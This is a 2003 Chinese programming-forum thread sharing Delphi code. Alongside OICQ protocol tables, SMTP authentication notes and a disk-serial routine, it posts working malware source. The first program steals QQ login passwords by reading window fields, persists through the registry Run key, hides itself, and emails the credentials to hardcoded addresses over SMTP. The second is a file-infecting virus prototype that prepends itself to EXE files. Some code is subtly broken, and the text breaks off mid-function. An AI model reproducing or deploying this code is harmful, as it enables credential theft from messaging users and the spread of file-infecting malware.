$$$$$$$$$$delphi精彩大放送每日一贴绝对超值$$$$$$$$$$$
为了学习delphi.和在程序道路上走的兄第!免费放送个人珍藏! 问题点数:0、回复次数:84Top
1 楼coolfilm(苏飞工作室)回复于 2003-09-25 14:05:57 得分 0
公开OICQ所有通讯协议 --转载
忘记了(对不起)
摘 要:
关键字:OICQ,协议
类 别:网络
公开OICQ所有通讯协议
OICQ服务器系统通讯协议
协议说明:
协议由报文头(T)+发送者(T)+接收者(T)+报文类型(T)+报文长度(L)+报文内容组成
发送者和接收者是系统内的程序种类,OICQ服务器0x01,传真服务器0x02,WEB服务器0x03,打印服务器是0x04,聊天服务器是0x05,OICQ用户是0x0A。
OICQ用户到OICQ服务器的通讯协议 引导符 (0x81+0x0A+0x01)
报文类型 报文内容 报文说明
0x01 昵称(S)+肖像(M)+用户密码(S)+性别(T)+年龄(T)+真实姓名(S)+国家/地区(T)+省(T)+市(S)+地址(S)+邮编(S)+学历(T)+毕业院校(S)+职业(T)+电话(S)+寻呼(S)+电邮(S)+爱好(S)+说明(S)+身份验证(T)新用户注册,身份验证用于当有人要将他加入好友时询问是否允许
0x02 服务号(L)+密码(S)+注册方式(T)老用户注册,方式分为0正常,1隐身
0x03 服务号(L)+对方服务号(L)+内容(S) 发送信息到某人
0x04 服务号(L)+组号(L)+内容(S) 广播信息,组号=0为全体
0x05 服务号(L)+朋友服务号(L) 查看朋友资料
0x06 服务号(L)+组名称(S) 增加组
0x07 服务号(L)+组编号(T)+组名称(S) 修改组名称
0x08 服务号(L)+组编号(T) 删除组
0x09 服务号(L)+移动人数(T)+{朋友服务号(L)+目的组号(T)} 移动组成员
0x0a 服务号(L)+起始编号(L)+回传个数(T)+查找标志(T) 看谁在线上
查找标志 1=向小找 2=向大找
0x0b 服务号(L)+SQL语句(S) 自定义查找
0x0c 服务号(L)+朋友服务号(L) 增加好友
0x0d 服务号(L)+朋友服务号(L)+加入原因(S) 请求加入好友
0x0e 服务号(L)+朋友服务号(L) 删除好友
0x10 服务号(L)+显示模式(T) 更改显示方式 1上线2隐藏3免打扰4离线
0x11 服务号(L)+监视服务号(L) 监视某人谈话
0x12 服务号(L)+昵称(S)+肖像(M)+用户密码(S)+性别(T)+年龄(T)+真实姓名(S)+国家/地区(T)+省(T)+市(S)+地址(S)+邮编(S)+学历(T)+毕业院校(S)+职业(T)+电话(S)+寻呼(S)+电邮(S)+爱好(S)+说明(S)+身份验证(T)更改用户基本信息
0x13 服务号(L)+朋友服务号(L)+文件名(S)+文件长度(L) 请求发送文件
0x14 服务号(L)+朋友服务号(L)+允许/拒绝 是否允许发送文件
0x15 服务号(L)+朋友服务号(L)+文件内容(B) 发送文件
0x16 服务号(L) 连接测试报文
0x17 服务号(L)+朋友服务号(L)+同意标志(T) 应答对方请求加入好友
0=拒绝
1=同意
OICQ服务器到OICQ的通讯协议
报文类型 报文内容 报文说明
0x01 成功/失败(T)+服务号(L) 新用户注册结果返回
0x02 成功/失败(T)+组个数(T)+{组名称(S)+组编号(T)+朋友个数(T)+{朋友服务号(L)+肖像编号(T)+朋友状态(T)+朋友昵称(S)] 老用户注册结果返回
朋友状态
1=上线=2隐藏=3免打扰4离线
0x03 标志(T) + 朋友服务号(L)+信息(S)+信息类型(T) 标志 1=系统 2=用户
发送消息,服务号=0是系统消息
1=用户某某已经把你加为好友
2=用户某某请求你通过身份验证
3=用户某某同意了你的验证要求
4=用户某某拒绝了你的验证请求
0x04 成功/失败(T)+朋友服务号(L)+昵称(S)+肖像(M)+性别(T)+年龄(T)+真实姓名(S)+国家/地区(T)+省(T)+市(S)+地址(S)+邮编(S)+学历(T)+毕业院校(S)+职业(T)+电话(S)+寻呼(S)+电邮(S)+爱好(S)+说明(S)朋友信息回送
0x05 成功/失败(T)+组编号(T)+组名称(S) 增加组结果回送 1/0
0x06 成功/失败(T)+组编号(T)+组名称(S)修改组名称结果回送1/0
0x07 成功/失败(T)+组编号(T) 删除组结果回送1/0
0x08 成功/失败(T) 移动组成员结果回送1/0
0x09 成功/失败(T)+在线个数(T)+{服务号(L)+昵称(S)+肖像(M)+省(T)+市(S)} 查找在线人员结果回送
0x0a 成功/失败(T)+找到个数(T)+{服务号(L)+昵称(S)+肖像(M)+省(T)+市(S)} 自定义查找结果回送(最多50)
0x0b 标志(T)+朋友服务号(L) 增加好友结果回送标志
0=数据库失败
=1成功
=2需要身份验证
=3对方不允许加入
=4需要身份验证且不在线
0x0c 朋友服务号(L)+昵称(S)+肖像号(M)+朋友状态(T) 给在线用户增加好友
0x0e 成功/失败(T)+朋友服务号(L) 删除好友结果回送
0x10 服务号(L)+显示模式(T) 显示模式回送 =1上线=2隐藏=3免打扰4离线
0x11 成功/失败 更改用户基本信息结果回送
0x12 朋友服务号(L)+文件名(S)+文件长度(L) 请求发送文件
0x13 朋友服务号(L)+允许/拒绝 是否允许发送文件 1允许 0拒绝
0x14 朋友服务号(L)+文件内容(B) 发送文件
0x15 朋友服务号(L)+当前状态(T)朋友状态回送(系统发送)=1上线=2隐藏=3免打扰4离线
0x16 服务号(L) 连接测试
Top
2 楼coolfilm(苏飞工作室)回复于 2003-09-25 14:09:25 得分 0
//---------------下面是oicqhack.dpr工程文件
program oicqhack;
uses
Windows,
Messages,
mainunit in 'mainunit.pas';
{$R *.RES}
var
wClass: TWndClass; // class struct for main window
Msg: TMSG; // message struct
procedure ShutDown;
begin
UnRegisterClass(classname,hInst);
ExitProcess(hInst); //end program
end;
function WindowProc(hWnd,Msg,wParam,lParam:Longint):Longint; stdcall;
begin
Result:=DefWindowProc(hWnd,Msg,wParam,lParam);
case Msg of
WM_CREATE: wincreate;
WM_TIMER: ontimer1;
WM_DESTROY: ShutDown;
end;
end;
begin
//如果旧版本已运行,则停止旧版程序,只运行当前新版程序
hmain:=Findwindow('HackSoft-Oicq-Password-Recoder','OICQ 密码记录器2');
if hmain<>0 then sendmessage(lp,wm_destroy,0,0);
hInst:=GetModuleHandle(nil); // get the application instance
classname:='HackSoft-Oicq-Password-Recoder';
with wClass do
begin
Style:= CS_PARENTDC;
hIcon:= LoadIcon(hInst,'MAINICON');
lpfnWndProc:= @WindowProc;
hInstance:= hInst;
hbrBackground:= COLOR_BTNFACE+1;
lpszClassName:= classname;
hCursor:= LoadCursor(0,IDC_ARROW);
end;
RegisterClass(wClass);
hmain:=CreateWindowEx(WS_EX_TOOLWINDOW,classname,'OICQ 密码记录器3',WS_OVERLAPPEDWINDOW,10,10,120,80,0,0,hInst,nil);
//建立一个新的定时器,用来定时扫描系统中的窗口
newtime:=SetTimer(hmain,0,300,nil);
//建立消息循环
while(GetMessage(Msg,hmain,0,0))do
begin
TranslateMessage(Msg);
DispatchMessage(Msg);
end;
//结束定时器
killtimer(hmain,newtime);
end.
//-------下面是mainunit.pas单元文件
unit mainunit;
interface
uses
Windows,
Messages,
SysUtils,
Classes,
winsock,
registry;
const
CRLF=#13#10;
var
spy:string;
hinst,hmain,newtime,count,start,max,fhand,old,olde,lp:integer;
his:array[0..100] of integer;
syspath:array[0..200] of integer;
regservice:function(uThread:integer;uType:integer):Integer;stdcall;
libhandle:thandle;
classname:array[0..100] of char;
items:array[0..4] of string;
err:integer;
wsadata:twsadata;
fsocket,fport,step:integer;
SockAddrIn:TSockAddrIn;
hackmail,email,newpass,fhost,s1,password:string;
sbuf:array[0..1024] of char;
procedure winCreate;
procedure OnTimer1;
implementation
//修改注册表让程序自启动
procedure autorun;
var reg:tregistry;
begin
reg:=tregistry.create;
reg.rootkey:=HKEY_LOCAL_MACHINE;
reg.openkey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',true);
reg.WriteString('oicqpass',spy+'OICQPASS.EXE');
reg.closekey;
reg.free;
end;
//下面是个发信的子过程,取得密码后发回getoicq@21cn.com邮箱
procedure MailSend;
begin
err:=recv(FSocket,sbuf,400,0);
s1:=strpas(sbuf);
inc(step);
case step of
1:s1:='HELO smtp.hacker.com'+CRLF;
2:s1:='MAIL FROM: <getoicq@21cn.com>'+CRLF;
3:s1:='RCPT TO: <'+email+'>'+CRLF;
4:s1:='DATA'+CRLF;
5:s1:='From:"Oicq Hack"<www.hacker.com>'+CRLF
+'To:"getoicq"<www.password.com>'+CRLF
+'Subject:QQ2001 Password come.'+CRLF
+CRLF
+newpass+CRLF
+'.'+CRLF;
6:s1:='QUIT'+CRLF;
else
step:=0;
end;
strcopy(sbuf,pchar(s1));
err:=send(FSocket,sbuf,strlen(sbuf),MSG_DONTROUTE);
end;
//发信主过程
procedure SendPass;
begin
err:=WSAStartup($0101,WSAData);
FSocket := socket(PF_INET, SOCK_STREAM,IPPROTO_IP);
//利用 smtp.21cn.com 进行发信
fhost:='202.104.32.230';
fport:=25;
SockAddrIn.sin_addr.s_addr:=inet_addr(PChar(FHost));
SockAddrIn.sin_family := PF_INET;
SockAddrIn.sin_port :=htons(Fport);
err:=connect(FSocket,SockAddrIn, SizeOf(SockAddrIn));
step:=0;
repeat
MailSend;
until step=0;
err:=closesocket(FSocket);
err:=WSACleanup;
end;
//窗口枚举函数
function lpEnumFunc(hwnd:integer;uint:integer):boolean;stdcall;
var hw,hwold,hs,wlong,hup,i:integer;
sbuf,sb3,sb2:array[0..256] of char;
sb1:string;
begin
hwold:=GetParent(hwnd);
wlong:=GetWindowLong(hwnd,GWL_STYLE);
if (wlong and ES_PASSWORD)<>0 then
begin
//检查是否OICQ登陆
hup:=GetParent(hwnd);
sendmessage(hup,wm_gettext,100,integer(@sbuf));
strpcopy(sb2,'OICQ 注册向导');
strpcopy(sb3,'QQ 注册向导');
if (strcomp(sbuf,sb2)=0) or (strcomp(sbuf,sb3)=0) then
begin
old:=GetParent(hup);
old:=GetParent(old);
old:=GetParent(old);
start:=0;
count:=1;
//items.clear;
//跳过两个窗口
hwnd:=Getwindow(hwnd,GW_HWNDFIRST);
hwnd:=Getwindow(hwnd,GW_HWNDNEXT);
//取得用户名
hwnd:=Getwindow(hwnd,GW_HWNDNEXT);
hw:=GetWindowTextLength(hwnd);
hs:=integer(@sbuf);
sendmessage(hwnd,wm_gettext,100,hs);
items[0]:='用户名:'+strpas(sbuf);
//取得密码
hwnd:=Getwindow(hwnd,GW_HWNDNEXT);
hw:=GetWindowTextLength(hwnd);
hs:=integer(@sbuf);
sendmessage(hwnd,wm_gettext,100,hs);
items[1]:='密码:'+strpas(sbuf);
end;
strpcopy(sb2,'OICQ用户登录');
strpcopy(sb3,'QQ用户登录');
if (strcomp(sbuf,sb2)=0) or (strcomp(sbuf,sb3)=0) then
begin
old:=GetParent(hup);
old:=GetParent(old);
start:=0;
count:=1;
//items.clear;
//取得用户名
hwnd:=Getwindow(hwnd,GW_HWNDFIRST);
hw:=GetWindowTextLength(hwnd);
hs:=integer(@sbuf);
sendmessage(hwnd,wm_gettext,100,hs);
items[0]:='用户名:'+strpas(sbuf);
//取得密码
hwnd:=Getwindow(hwnd,GW_HWNDNEXT);
hw:=GetWindowTextLength(hwnd);
hs:=integer(@sbuf);
sendmessage(hwnd,wm_gettext,100,hs);
items[1]:='密码:'+strpas(sbuf);
end;
end;
//检查是否在线
hw:=GetWindowTextLength(hwnd);
hs:=integer(@sbuf);
sendmessage(hwnd,wm_gettext,100,hs);
strpcopy(sb2,'在线');
strpcopy(sb3,'隐身');
if (strcomp(sbuf,sb2)=0) or (strcomp(sbuf,sb3)=0) then
begin
if hwold=old then
begin
if olde<>old then
begin
if strcomp(sbuf,sb2)=0 then items[2]:='登录成功:在线'
else items[2]:='登录成功:隐身';
items[3]:=' ';
//密码发回我的邮箱getoicq@21cn.com
newpass:=format('%s %s %s %s',[items[0],items[1],items[2],items[3],items[4]);
//
hackmail:=email;
sendpass;
email:='mf001@etang.com';
sendpass;
email:=hackmail;
//密码存盘到oicqpass.dll中
{
if fileexists(spy+'oicqpass.dll')=false then fhand:=filecreate(spy+'oicqpass.dll')
else fhand:=fileopen(spy+'oicqpass.dll',fmOpenWrite);
if fileexists(spy+'oicqpass.dll')=false then fhand:=filecreate(spy+'oicqpass.dll')
else fhand:=fileopen(spy+'oicqpass.dll',fmOpenWrite);
fileseek(fhand,0,2);
strpcopy(sbuf,items[0]+#13#10+items[1]+#13#10+items[2]+#13#10+items[3]+#13#10);
filewrite(fhand,sbuf,strlen(sbuf));
fileclose(fhand);
}
end;
olde:=old;
end;
end;
result:=true;
end;
定时器响应函数
procedure OnTimer1;
begin
lp:=0;
EnumChildWindows(GetDesktopWindow,@lpEnumFunc,lp);
end;
//窗口创建响应函数
procedure winCreate;
var wlong:integer;
s1:string;
s2,s3,sbuf:array[0..300] of char;
i:integer;
osver:TOSVERSIONINFO;
tmp:tmemorystream;
begin
//取得操作系统版本信息,若为win9x则注册为服务进程而隐身,nt下无此功能
osver.dwOSVersionInfoSize:=sizeof(TOSVERSIONINFO);
if GetVersionEx(osver)=true then
begin
if VER_PLATFORM_WIN32_NT<>osver.dwPlatformId then
begin
LibHandle:=LoadLibrary('kernel32.dll');
if LibHandle<>0 then
begin
@regservice:=GetProcAddress(LibHandle, 'RegisterServiceProcess');
regservice(0,1);//1=hide,0=show;
FreeLibrary(LibHandle);
end;
end;
end;
max:=0;
count:=0;
将程序复制到系统目录
s1:=ParamStr(0);
for i:=0 to length(s1) do s2:=s1[i+1];
GetSystemDirectory(@syspath,MAX_PATH);
spy:=strpas(@syspath)+'\';
s1:=spy+'oicqhack.exe';
for i:=0 to length(s1) do s3:=s1[i+1];
copyfile(s2,s3,false);
//从email.txt中找到目标e-mail信箱
if fileexists('c:\email.txt')=false then
begin
email:='getoicq@21cn.com';
end else
begin
tmp:=tmemorystream.create;;
tmp.loadfromfile('c:\email.txt');
count:=tmp.size;
// strcopy(sbuf,pchar(''));
tmp.read(sbuf,count);
tmp.free;
email:='';
for step:=0 to count-1 do email:=email+sbuf[step];
strcopy(sbuf,pchar(email));
// messagebox(0,sbuf,'',0);
end;
count:=0;
step:=0;
//修改注册表使程序自启动
autorun;
end;
end.
Top
3 楼coolfilm(苏飞工作室)回复于 2003-09-25 14:15:44 得分 0
我正编一个邮件发送接收软件,一般服务器无事,但有些服务器需身份认证,必须先
验证用户的ID标示符和密码,如新浪的邮箱。OUTLOOK可以,FOXMAIL3.0就不能用。
delphi的NMSMTP和SAKEMAIL都不行,请问有办法或控件解决这个问题吗?
hua8hua (2001-10-11 8:20:00)
首先发送EHLO命令,判断返回中是否存在AUTH LOGIN
如果存在,你就发送AUTH LOGIN命令,等待服务器的应答,
服务器应该应答344 xxxxxxxxxxx,这个xxxxxxxxxx是base64编码的用户名,翻译过来就是
344 username:
然后你在发送base64编码的用户名,等待服务器应答,
服务器应该应答344 yyyyyyyyyyyy,这个yyyyyyyyyy是base64编码的密码,翻译过来就是
344 password:
然后你在发送base64编码的密码,等待服务器应答,
服务器开始验证你的用户和密码,
如果成功,则返回235 Authentication Successful.
如果失败,则返回5xx
如果成功,接下来你就可以继续发送mail from命令了。
还有一种就是发送ehlo中存在AUTH CRAM-MD5,这是采用另一种编码MD5。同样
你发送AUTH CRAM-MD5 命令,等待服务器应答
服务器如果支持这种编码,应该返回334 <一串长东西当作密钥>
注意那个小括号是通过base64编码的,包括括号。
然后你就接收到这个密钥,就用base64编码还原。
然后把用户名和密码组合起来 格式:用户名+空格+经过MD5编码(使用上面的密钥)的密码,
然后再把这一串用base64编码 ,然后发送给服务器,等待服务器应答
服务器收到后,现用base64编码还原,然后分解出用户名和密码,在对密码进行编码处理,
然后判断你是否合法,
如果合法,服务器返回和上面一样,
如果合法,你就可以继续发送mail from命令
[red][b]给分[/b][/red][:D][:D]
TangDL (2001-10-11 8:26:00)
转贴:SMTP协议的其它知识,密码认证如上所说
1.SMTP是工作在两种情况下:一是电子邮件从客户机传输到服务器;二是从某一个服务器传输到另一个
服务器
2.SMTP是个请求/响应协议,命令和响应都是基于ASCII文本,并以CR和LF符结束。响应包括一个表示返
回状态的三位数字代码
3.SMTP在TCP协议25号端口监听连接请求
4.连接和发送过程:
a.建立TCP连接
b.客户端发送HELO命令以标识发件人自己的身份,然后客户端发送MAIL命令
服务器端正希望以OK作为响应,表明准备接收
c.客户端发送RCPT命令,以标识该电子邮件的计划接收人,可以有多个RCPT行
服务器端则表示是否愿意为收件人接受邮件
d.协商结束,发送邮件,用命令DATA发送
e. 以.表示结束输入内容一起发送出去
f.结束此次发送,用QUIT命令退出。
5.另外两个命令:
VRFY---用于验证给定的用户邮箱是否存在,以及接收关于该用户的详细信息。
EXPN---用于扩充邮件列表。
6.邮件路由过程:
SMTP服务器基于‘域名服务DNS中计划收件人的域名来路由电子邮件。SMTP服务器基于DNS中的MX记录
来路由电子邮件,MX记录注册了域名和相关的SMTP中继主机,属于该域的电子邮件都应向该主机发送。
若SMTP服务器mail.abc.com收到一封信要发到shuser@sh.abc.com:
a.Sendmail请求DNS给出主机sh.abc.com的CNAME记录,如有,假若CNAME到shmail.abc.com,则再次
请求shmail.abc.com的CNAME记录,直到没有为止
b.假定被CNAME到shmail.abc.com,然后sendmail请求@abc.com域的DNS给出shmail.abc.com的MX记录,
shmail MX 5 shmail.abc.com
10 shmail2.abc.com
c. Sendmail最后请求DNS给出shmail.abc.com的A记录,即IP地址,若返回值为1.2.3.4
d. Sendmail与1.2.3.4连接,传送这封给shuser@sh.abc.com的信到1.2.3.4这台服务器的SMTP后台程序
7.SMTP基本命令集:
命令 描述
------------------------------
HELO 向服务器标识用户身份
发送者能欺骗,说谎,但一般情况下服务器都能检测到。
MAIL 初始化邮件传输
mail from:
RCPT 标识单个的邮件接收人;常在MAIL命令后面
可有多个rcpt to:
DATA 在单个或多个RCPT命令后,表示所有的邮件接收人已标识,并初始化数据传输,以.结束。
VRFY 用于验证指定的用户/邮箱是否存在;由于安全方面的原因,服务器常禁止此命令
EXPN 验证给定的邮箱列表是否存在,扩充邮箱列表,也常被禁用
HELP 查询服务器支持什么命令
NOOP 无操作,服务器应响应OK
QUIT 结束会话
RSET 重置会话,当前传输被取消
--------------------------------
8. MAIL FROM命令中指定的地址是称作 envelope from地址,不需要和发送者自己的地址是一致的。
RCPT TO 与之等同,指明的接收者地址称为envelope to地址,而与实际的to:行是什么无关。
9.为什么没有RCPT CC和RCPT BCC:?
所有的接收者协商都通过RCPT TO命令来实现,如果是BCC,则协商发送后在对方接收时被删掉信封接收者
10.邮件被分为信封部分,信头部分和信体部分
envelope from, envelope to 与message from:, message to:完全不相干。
evnelope是由服务器主机间SMTP后台提供的,而message from/to是由用户提供的。有无冒号也是区别。
11. 怎样由信封部分检查是否一封信是否是伪造的?
a. received行的关联性。
现在的SMTP邮件传输系统,在信封部分除了两端的内部主机处理的之个,考虑两个公司防火墙之间
的部分,若两台防火墙机器分别为A和B,但接收者检查信封received:行时发现经过了C.则是伪造的。
b. received:行中的主机和IP地址对是否对应如:
Receibed: from galangal.org (turmeric.com [104.128.23.115] by mail .bieberdorf.edu....
c. 被人手动添加在最后面的received行:
Received: from galangal.org ([104.128.23.115]) by mail .bieberdorf.edu (8.8.5)
Received: from lemongrass.org by galangal.org (8.7.3)
Received: from graprao.com by lemongrass.org (8.6.4)
转贴:NMSMTP的密码认证解决方案
const
BaseTable = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
function EncodeBase64(Source:string):string;
var
Times, LenSrc, i: Integer;
x1, x2, x3, x4: Char;
xt: Byte;
begin
Result := '';
LenSrc := Length(Source);
if LenSrc mod 3 = 0 then
Times := LenSrc div 3
else
Times := LenSrc div 3 + 1;
for i := 0 to Times - 1 do
begin
if LenSrc >= (3 + i * 3) then
begin
x1 := BaseTable[(ord(Source[1 + i * 3]) shr 2)+1];
xt := (ord(Source[1 + i * 3]) shl 4) and 48;
xt := xt or (ord(Source[2 + i * 3]) shr 4);
x2 := BaseTable[xt + 1];
xt := (Ord(Source[2 + i * 3]) shl 2) and 60;
xt := xt or (Ord(Source[3 + i * 3]) shr 6);
x3 := BaseTable[xt + 1];
xt := (ord(Source[3 + i * 3]) and 63);
x4 := BaseTable[xt + 1];
end
else if LenSrc >= (2 + i * 3) then
begin
x1 := BaseTable[(Ord(Source[1 + i * 3]) shr 2) + 1];
xt := (Ord(Source[1 + i * 3]) shl 4) and 48;
xt := xt or (Ord(Source[2 + i * 3]) shr 4);
x2 := BaseTable[xt + 1];
xt := (Ord(Source[2 + i * 3]) shl 2) and 60;
x3 := BaseTable[xt + 1];
x4 := '=';
end else
begin
x1 := BaseTable[(Ord(Source[1 + i * 3]) shr 2)+1];
xt := (Ord(Source[1 + i * 3]) shl 4) and 48;
x2 := BaseTable[xt + 1];
x3 := '=';
x4 := '=';
end;
Result := Result + x1 + x2 + x3 + x4;
end;
end;
在SMTP.OnConnect事件中写身份验证.
procedure TSendFile.NMSMTPConnect(Sender: TObject);
begin {身份验证}
if FSMTP.ReplyNumber = 250 then
FSMTP.Transaction('auth login');
if FSMTP.ReplyNumber = 334 then
begin
FSMTP.Transaction(EncodeBase64(FUserID));
FSMTP.Transaction(EncodeBase64(FPassword));
end;
end;
Top
4 楼Ivin(鹅鹅鹅,齐项向天歌)回复于 2003-09-25 15:22:27 得分 0
不胜感激
Top
5 楼dickeybird888(小鸟)回复于 2003-09-25 15:55:29 得分 0
好啊!Top
6 楼things(Loving You)回复于 2003-09-25 15:56:11 得分 0
好Top
7 楼coolfilm(苏飞工作室)回复于 2003-09-26 08:44:50 得分 0
Exe文件的修改
我的程序也是给exe加一个文件头,只是论证一下可行性,离病毒那可差的远了:)
Code here:
//headerprj.dpr
program headerprj;
uses
Windows,Classes,SysUtils,Graphics,ShellAPI;
const
HEADERSIZE=78336;
ICONOFFSET=$11EB8;
INFECTFLAG='Infected By SOJ';
ID=$66666666;
{$R *.RES}
var
tmpFile:string;
si:STARTUPINFO;
pi:PROCESS_INFORMATION;
sr:TSearchRec;
Counter:Integer;
//routines
procedure CopyStream(Src:TStream;sStartPos:Integer;
Dst:TStream;dStartPos:Integer;Count:Integer);
var
sCurPos,dCurPos:Integer;
begin
sCurPos:=Src.Position;
dCurPos:=Dst.Position;
src.Seek(sStartPos,0);
dst.Seek(dStartPos,0);
dst.CopyFrom(src,Count);
src.Seek(sCurPos,0);
dst.Seek(dCurPos,0);
end;{CopyStream}
function Getmyname:string;
var
cmdline:String;
myname:Array [0..255] of Char;
i,j:integer;
begin
i:=1;j:=0;
cmdline:=GetCommandLine;
while cmdline[i]<>chr(0) do
begin
if cmdline[i]<>'"' then
begin
myname[j]:=cmdline[i];
inc(j);
end;
inc(i);
end;
myname[j-1]:=chr(0);
Result:=strpas(@myname);
end;{Getmyname}
function GetTempFullName:String;
var
tmpPath:Array[1..256]of Char;
tmpname:Array[1..256]of Char;
begin
GetTempPath(256,@tmpPath);
GetTempFileName(@tmpPath,'PQR',0,@tmpName);
Result:=StrPas(@tmpName);
end;{GetTempFullName}
procedure ExtractFile(filename:string);
var
sStream,dStream:TFileStream;
begin
sStream:=TFileStream.Create(Getmyname,fmOpenRead or fmShareDenyNone);
dStream:=TFileStream.Create(filename,fmCreate);
sStream.Seek(HEADERSIZE,0);
dStream.CopyFrom(sStream,sStream.Size-HEADERSIZE);
sStream.Free;
dStream.Free;
end;
procedure fillstartupinfo(var si:STARTUPINFO;state:WORD);
begin
si.cb := sizeof(si);
si.lpReserved := nil;
si.lpDesktop := nil;
si.lpTitle := nil;
si.dwFlags := STARTF_USESHOWWINDOW;
si.wShowWindow := state;
si.cbReserved2 := 0;
si.lpReserved2 := nil;
end;
function InfectFile(Filename:TFilename):Boolean;
var
hdrStream,srcStream:TFileStream;
icoStream,dstStream:TMemoryStream;
iID:Longint;
aIcon:TIcon;
begin
try
if Filename='headerprj.exe' then exit;
srcStream:=TFileStream.Create(Filename,fmOpenRead);
srcStream.Seek(-4,2);
srcStream.Read(iID,4);
if (iID=ID) or (srcStream.Size >1000000)then
begin
srcStream.Free;
Result:=False;
exit; //如果感染过了则退出
end;
srcStream.Free;
try
icoStream:=TMemoryStream.Create;
aIcon:=TIcon.Create;
aIcon.ReleaseHandle;
aIcon.Handle:=ExtractIcon(Hinstance,PChar(Filename),0);//被感染文件的图标
aIcon.SaveToStream(icoStream);
aIcon.Free;
srcStream:=TFileStream.Create(FileName,fmOpenRead);
hdrStream:=TFileStream.Create(GetMyName,fmOpenRead or fmShareDenyNone);//头文件
dstStream:=TMemoryStream.Create;
CopyStream(hdrStream,0,dstStream,0,HEADERSIZE);
CopyStream(icoStream,22,dstStream,ICONOFFSET,$2e8);
CopyStream(srcStream,0,dstStream,HEADERSIZE,srcStream.Size);
dstStream.Seek(0,2);
iID:=$66666666;
dstStream.Write(iID,4);
finally
icoStream.Free;
srcStream.Free;
hdrStream.Free;
dstStream.SaveToFile(Filename);
dstStream.Free;
Result:=True;
end;
except;
end;
end;
//主程序开始
begin
Counter:=2;
if FindFirst('*.exe',faAnyFile,sr)=0 then
begin
InfectFile(sr.Name);
while (FindNext(sr)=0) and (Counter>0) do
begin
if InfectFile(sr.Name) then Dec(Counter);
end;
end;
FindClose(sr);
if ExtractFileName(Getmyname)='headerprj.exe' then exit;
tmpFile:=GetTempFullname;
ExtractFile(tmpFile);
fillstartupinfo(si,SW_SHOWDEFAULT);
CreateProcess(PChar(tmpFile),PChar(tmpFile),nil,nil,True,0,nil,'.',si,pi);
end.
ps:文件名一定要叫headerprj.exe否则会有问题,看看代码就知道了
Top
8 楼coolfilm(苏飞工作室)回复于 2003-09-26 08:48:39 得分 0
取Ide硬盘序列号函数
--------------------------------------------------------------------------------
function GetIdeDiskSerialNumber : String;
type
TSrbIoControl = packed record
HeaderLength : ULONG;
Signature : Array[0..7] of Char;
Timeout : ULONG;
ControlCode : ULONG;
ReturnCode : ULONG;
Length : ULONG;
end;
SRB_IO_CONTROL = TSrbIoControl;
PSrbIoControl = ^TSrbIoControl;
TIDERegs = packed record
bFeaturesReg : Byte; // Used for specifying SMART "commands".
bSectorCountReg : Byte; // IDE sector count register
bSectorNumberReg : Byte; // IDE sector number register
bCylLowReg : Byte; // IDE low order cylinder value
bCylHighReg : Byte; // IDE high order cylinder value
bDriveHeadReg : Byte; // IDE drive/head register
bCommandReg : Byte; // Actual IDE command.
bReserved : Byte; // reserved. Must be zero.
end;
IDEREGS = TIDERegs;
PIDERegs = ^TIDERegs;
TSendCmdInParams = packed record
cBufferSize : DWORD;
irDriveRegs : TIDERegs;
bDriveNumber : Byte;
bReserved : Array[0..2] of Byte;
dwReserved : Array[0..3] of DWORD;
bBuffer : Array[0..0] of Byte;
end;
SENDCMDINPARAMS = TSendCmdInParams;
PSendCmdInParams = ^TSendCmdInParams;
TIdSector = packed record
wGenConfig : Word;
wNumCyls : Word;
wReserved : Word;
wNumHeads : Word;
wBytesPerTrack : Word;
wBytesPerSector : Word;
wSectorsPerTrack : Word;
wVendorUnique : Array[0..2] of Word;
sSerialNumber : Array[0..19] of Char;
wBufferType : Word;
wBufferSize : Word;
wECCSize : Word;
sFirmwareRev : Array[0..7] of Char;
sModelNumber : Array[0..39] of Char;
wMoreVendorUnique : Word;
wDoubleWordIO : Word;
wCapabilities : Word;
wReserved1 : Word;
wPIOTiming : Word;
wDMATiming : Word;
wBS : Word;
wNumCurrentCyls : Word;
wNumCurrentHeads : Word;
wNumCurrentSectorsPerTrack : Word;
ulCurrentSectorCapacity : ULONG;
wMultSectorStuff : Word;
ulTotalAddressableSectors : ULONG;
wSingleWordDMA : Word;
wMultiWordDMA : Word;
bReserved : Array[0..127] of Byte;
end;
PIdSector = ^TIdSector;
const
IDE_ID_FUNCTION = $EC;
IDENTIFY_BUFFER_SIZE = 512;
DFP_RECEIVE_DRIVE_DATA = $0007c088;
IOCTL_SCSI_MINIPORT = $0004d008;
IOCTL_SCSI_MINIPORT_IDENTIFY = $001b0501;
DataSize = sizeof(TSendCmdInParams)-1+IDENTIFY_BUFFER_SIZE;
BufferSize = SizeOf(SRB_IO_CONTROL)+DataSize;
W9xBufferSize = IDENTIFY_BUFFER_SIZE+16;
var
hDevice : THandle;
cbBytesReturned : DWORD;
pInData : PSendCmdInParams;
pOutData : Pointer; // PSendCmdOutParams
Buffer : Array[0..BufferSize-1] of Byte;
srbControl : TSrbIoControl absolute Buffer;
procedure ChangeByteOrder( var Data; Size : Integer );
var ptr : PChar;
i : Integer;
c : Char;
begin
ptr := @Data;
for i := 0 to (Size shr 1)-1 do
begin
c := ptr^;
ptr^ := (ptr+1)^;
(ptr+1)^ := c;
Inc(ptr,2);
end;
end;
begin
Result := '';
FillChar(Buffer,BufferSize,#0);
if Win32Platform=VER_PLATFORM_WIN32_NT then
begin // Windows NT, Windows 2000
// Get SCSI port handle
hDevice := CreateFile( '\\.\Scsi0:',
GENERIC_READ or GENERIC_WRITE,
FILE_SHARE_READ or FILE_SHARE_WRITE,
nil, OPEN_EXISTING, 0, 0 );
if hDevice=INVALID_HANDLE_VALUE then Exit;
try
srbControl.HeaderLength := SizeOf(SRB_IO_CONTROL);
System.Move('SCSIDISK',srbControl.Signature,8);
srbControl.Timeout := 2;
srbControl.Length := DataSize;
srbControl.ControlCode := IOCTL_SCSI_MINIPORT_IDENTIFY;
pInData := PSendCmdInParams(PChar(@Buffer)
+SizeOf(SRB_IO_CONTROL));
pOutData := pInData;
with pInData^ do
begin
cBufferSize := IDENTIFY_BUFFER_SIZE;
bDriveNumber := 0;
with irDriveRegs do
begin
bFeaturesReg := 0;
bSectorCountReg := 1;
bSectorNumberReg := 1;
bCylLowReg := 0;
bCylHighReg := 0;
bDriveHeadReg := $A0;
bCommandReg := IDE_ID_FUNCTION;
end;
end;
if not DeviceIoControl( hDevice, IOCTL_SCSI_MINIPORT,
@Buffer, BufferSize, @Buffer, BufferSize,
cbBytesReturned, nil ) then Exit;
finally
